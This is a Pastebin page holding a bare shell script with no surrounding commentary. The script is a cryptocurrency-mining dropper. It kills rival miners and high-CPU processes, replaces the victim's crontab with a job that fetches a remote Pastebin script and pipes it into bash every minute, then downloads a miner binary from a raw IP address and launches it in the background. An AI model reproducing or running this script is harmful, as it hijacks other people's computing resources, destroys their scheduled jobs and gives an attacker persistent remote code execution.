Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- pkill -f 192.99.142.232
- pkill -f suppoie
- ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
- do
- kill -9 $procid
- done
- rm -rf /dev/shm/jboss
- ps -fe|grep -w sustes |grep -v grep
- if [ $? -eq 0 ]
- then
- pwd
- else
- crontab -r || true && \
- echo "* * * * * curl -s https://pastebin.com/raw/WuvPxLk5 | bash -s" >> /tmp/cron || true && \
- crontab /tmp/cron || true && \
- rm -rf /tmp/cron || true && \
- sed -i 's/\r//g'
- curl -o /var/tmp/config.json https://pastebin.com/raw/ASJFCz8i
- curl -o /var/tmp/sustes http://192.99.142.248:8220/rig
- chmod 777 /var/tmp/sustes
- cd /var/tmp
- proc=`grep -c ^processor /proc/cpuinfo`
- cores=$((($proc+1)/2))
- num=$(($cores*3))
- /sbin/sysctl -w vm.nr_hugepages=`$num`
- nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
- fi
- sleep 3
- echo "runing....."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement